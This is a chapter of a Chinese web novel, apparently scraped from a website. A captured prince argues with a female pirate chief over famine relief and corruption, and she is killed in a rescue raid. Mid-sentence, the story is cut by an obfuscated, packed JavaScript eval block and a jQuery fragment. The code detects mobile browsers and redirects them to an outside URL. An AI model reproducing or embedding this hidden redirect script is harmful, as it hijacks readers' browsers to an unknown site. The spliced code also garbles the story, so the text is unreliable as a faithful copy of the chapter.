头好痛……
我这是在哪儿?
奕宣费力地睁开双眼,入眼是一双沾满泥污的靴子。
“老大,他该不会死了吧?”有着几分紧张的声音在耳边响起。
“死不了,死了拿什么换粮食。”
女人的声音?
还没等奕宣反应过来,头皮猛地一紧,一股粗暴的力量揪住他的头发,将他硬生生拽了起来。
“啊!”
头皮传来的剧痛让奕宣忍不住皱起眉头轻喘一声。
“哟,还能醒过来,看来下次得加大点劲儿了。”那女人戏谑的声音响起。
奕宣强忍着疼痛,缓缓抬起头,终于看清了眼前的人。
只见她一头干净利落的短发,黝黑的皮肤上满是污渍,五官倒是颇为清秀,一看便知是女人的模样。
她裸露在外的胳膊肌肉线条分明,结实有力,身上的衣裳像是用破布随意拼凑起来的,针脚歪歪扭扭,粗糙得很。
在这昏暗的月光下,她整个人散发着一种难以言说的气质,仿佛与这破败的环境融为一体,成就了这片荒芜。
奕宣喉咙干涩,发出的声音沙哑破碎:“你……究竟是谁?”
“我凭什么告诉你?”女人冷笑一声,站起身,拽着奕宣的头发就往外拖。
周围瞬间响起一阵欢呼声,像是一群失了理智的野兽。
女人一路拖着奕宣来到篝火旁,然后猛地一甩,将他重重地扔在篝火边上。
奕宣的身子狠狠撞上篝火侧边,火星四溅,火焰猛地蹿起,又剧烈晃动,滚烫的火苗瞬间舔舐上他的胳膊。
眨眼间,衣袖被点燃,火焰迅速蔓延,瞬间吞噬着他的衣物和肌肤。
“啊啊啊啊……”
钻心的灼烧感让奕宣仰起脖子,发出痛苦的惨叫,在这船上回荡。
周围的人又被这声惨叫点燃了兴奋,纷纷挥舞着手中的武器,发出更加疯狂的欢呼。
很快,两个人抬着一缸海水赶来,毫不犹豫地将整缸水朝着奕宣泼去。
“咳咳咳……”冷水的冲击让奕宣猛地呛了一口,他剧烈地咳嗽起来,水珠从头发和衣服上不断滴落。
伤口上撒盐的疼痛。
他抬起头,望向高坐在上首的女人,彻底清醒过来。
八溟水寇。
她为寇首?
竟然是个女人?
那自己为何会在这里?
只记得逼逢雨上船,拿起弓,搭箭,身旁的两个影杀莫名其妙突然倒地。
还没等他反应过来,脑袋就被重重一击,随后眼前一黑,便失去了知觉。
自己这是被掳了啊!
“说吧,你到底想要什么?”
奕宣双手被死死地反绑在身后,强忍着浑身的疼痛,倔强地跪起身子,怒目而视。
女人端着一大碗烈酒,身姿慵懒走到奕宣面前。
她微微低头,眼中满是轻蔑:“我想,你心里应该有数,就凭你这一身华贵的穿着和与面相上的贵气,怎么着也能值个三千石吧。”
“三千石粮食?”奕宣难以置信地瞪大了眼睛,身子猛地一挺,冲她大吼,“做你的春秋大梦去!别说三千石,就是一石,你也别想拿到!”
女人眼中的狠戾瞬间被点燃,她猛地蹲下身子,一只手狠狠地掐住奕宣的下巴。
紧接着,她将那碗烈酒一股脑地倒进奕宣嘴里。
“咳咳……”酒液顺着喉咙呛入气管,奕宣剧烈地挣扎起来,脖子上青筋暴起。
他猛地一甩头,将嘴边的碗甩飞出去,“哐当”一声砸在地上。
奕宣弯下身子,剧烈地呕吐起来,酒水和胃液混合在一起,顺着嘴角不断流淌。
“你说了可不算,”女人站起身,居高临下地看着奕宣,眼神冰冷,“我只看朝廷会不会拿这三千石粮食来赎你。”
说罢,她毫不留情地一脚踹在奕宣身上。
这一脚,不偏不倚,正好踹在奕宣那被灼烧过的伤口上。
奕宣倒吸一口凉气,整个人瞬间侧卧在地上。
他紧咬着嘴唇,豆大的汗珠从额头滚落,强忍着剧痛,硬是一声不吭。
女人转身,迈着不紧不慢的步伐往回走:“这小子身侧,金狮影杀形影不离的,还有那烦人的东寻王府,我还以为这差事难办,没想到他自己倒是个半彪子,勾勾手就能上当。”
“那被盗粮食……是个幌子?”奕宣哆哆嗦嗦开口,脸上冷汗直冒。
“不然?”女人重新坐回高位,身旁的人立马上前为她倒酒,“就为了那点粮食?能顾得了谁?”
奕宣强撑着反驳,声音因为虚弱微微颤抖:“那些,是郁县……一冬的粮食,你们这些强盗,只顾自己,根本看不清……民间劫难。”
“真正看不清的是你们这些朝廷狗官!”女人瞬间被激怒,刚喝了两口的酒碗被她狠狠甩了出去,砸在地上,四分五裂。
她站起身,双眼通红,大声吼道:“就是你们!和东寻王府狼狈为奸,东寻王为了保住自己的荣华富贵,谎报灾情,送来的粮食根本不够百姓分!不然你以为八溟何来?”
“五湖四海汇聚八溟,还不是因为它东寻王府不作为,朝廷不作为?”
“你说朝廷不作为,那我又为何在此?”奕宣怒吼,“这是天灾!天灾当道你让朝廷如何?让东寻王如何?八溟是反抗,可皆是些目光短浅之辈,待来年秋收百姓无忧,黑蛟杀过来,朝廷派御龙卫来镇压,你又当如何?”
“目光短浅?好啊,若我八溟此刻不作为,那这些收留的这些弟兄们今年冬天全都要饿死!何谈来年秋收?”女人气冲冲行至奕宣面前,不甘示弱辩解。
奕宣慌忙开口:“我已书信回京,陛下已然知道真实灾情!粮食!只多不少!八溟不必劫盗,自可以去郡守府领粮!”
“郡守府?哼。”女人嘴角勾起一抹讥讽,从鼻腔里挤出一声冷哼,“我都快忘了那令人作呕的郡守府是个什么东西了。”
“望鱼,过来。”
她朝远处喊了一声,一个衣衫褴褛、形如乞丐的少年快步跑到女人身边。
他偷偷瞥了一眼奕宣,眼神里满是畏惧,下意识地往女人身后缩了缩。
奕宣看见他也惊得移不开眼。
这不就是那天抢了妇人的粥,还带着人到东寻王府闹事的少年吗?
原来他们这伙强盗是蓄谋已久啊!
女人叹了口气,难得露出柔情:“他父亲原是郡守管事,可惜死在了这场天灾中,谁承想聂羿那老不死的,竟在他父亲尸骨未寒的时候,强行霸占了他母亲,后来,他母亲不堪受辱,也跟着去了,那该死的郡守竟还想石沉这可怜的孩子,若不是八溟,难道还能指望你口中的郡守府大发慈悲来救他吗?”
“怎会……”奕宣被噎住,一时说不出话了。
“为官者于乱世草菅人命,我们老百姓只是为自保!我们何错之有?”女人弯腰,拉住奕宣的衣领质问他,“被天灾淹没是一部分,那那些无妄横死的?难不成也当成天灾敷衍过去?何人能申冤?上面的人都是瞎子,这几个郡守哪儿有不瞎的?说到底还不都是他东寻王瞎!”
积弊已久,乱世而发。
“无知仍有责,东寻逃不过,尔等拉帮结派,更是火上浇油!”奕宣目光坚定言,“东寻是民的东寻,这些东寻王知,八溟可知?”
“不知,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176365|165193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便没有八溟!”女人猛地甩开手,笑一声,“小鱼儿跟我说你是个心善之人,我不杀你,才跟你说这么多,既然你已经知道了这些,就乖乖配合,让我拿你去换粮食,也省得再闹出些不必要的灾祸。
“这般不是八溟出路!”奕宣拖着膝盖近了那女人些许,大声言,“我乃当朝九皇子奕宣,你放我出去,我去申冤,东寻王也好,这些郡守也好,官能压官!我会给八溟一个交代,给东寻百姓一个交代!”
“我信你说的话,可惜,你终究也是个当官的。”女人缓缓转身,微微偏头,嘴角勾起一抹意味深长的弧度,“小皇子,你若不是拥有这般身份,说不定你我还真能成为朋友,我倒是挺欣赏你的。”
“名字!”奕宣心急如焚,急忙出声叫住她。
女人微微一愣,疑惑道:“什么?”
奕宣神色坚定,斩钉截铁:“告诉我,你的名字!”
“呵。”女人故作洒脱地耸了耸肩,调侃,“你不会真打算跟我交朋友吧?咱们之间,那可是云泥之别。”
“名字!”奕宣没有理会她,再次重复了一遍,浑身泛着执着。
“单名一个江,关——江。”关江扭头,回应得潇洒利落。
“不好了!老大,是黑蛟,黑蛟杀过来了!”
一道带着惊恐的呼喊划破长空。
关江瞬间警觉起来,眼神骤变,毫不犹豫地迈着大步冲向船边。
楚禹?
奕宣心中一紧,下意识想要起身跟过去。
然而浑身乏力,再加上双手被束缚,身上又带着伤,刚挣扎着起身,便一个踉跄,重重地跌倒在地上。
极目远望,只见远方大片红光熊熊燃起,来势汹汹。
眨眼间,无数箭影掠月而过,带着尖锐的呼啸,直直朝着船只射来。
“收锚,升盾!”
关江飞身跳上瞭望台,大声施令,点燃一支响箭,利箭带着耀眼的火光,射向天空。
刹那间,夜空被照得亮如白昼 。
黑蛟早已潜伏在水底,顷刻间破水而出,纷纷冲上船只。
关江见状,从瞭望台上猛扑而下,手中大刀挥舞间,瞬间斩杀两人,在混乱中硬生生破开一条血路。
她动作迅猛,眨眼间便来到奕宣身侧,一把拽住他将他往船边拖去。
“都别过来!”关江猛地将大刀一横,锋利的刀刃架在奕宣脖子上,冲着对面大声嘶吼,“想让他死,你们尽管动手啊!”
一瞬间,黑蛟纷纷跳下船只,朝来船迅速靠近。
来船的金狮整齐划一地向两侧分开,让出一条通道。
就在这时,一抹熟悉的紫色闯入奕宣的眼帘。
柳思生!
他怎么会在这儿?
柳思生手持长剑,一脚踏上船头,目光扫到奕宣的那一刻,眼中闪过一丝焦急,他急忙挥手,示意停下。
“三千石粮食,换他性命!”关江高呼。
“柳思生!”奕宣也急切开口,“别伤人!我没事!我们能商量的!”
来船慢慢靠近,柳思生这才瞧清奕宣的模样,脸色瞬间黑了下去。
“拿粮食换……”
“嗖——”利箭飞来,直直射穿关江的喉咙,打断她的话。
鲜血喷涌而出,溅射到奕宣的脸上。
温热的触感让奕宣瞬间僵在原地,傻了眼。
他缓缓转过头,目光带着无尽的惊恐,朝着来箭的方向望去。
只见一个黑影不知何时早已爬上了船帆,在夜色下显得格外可怖。
逢雨……
“不伤人,只杀人!”
“今夜船上的人,一个都别想离开!”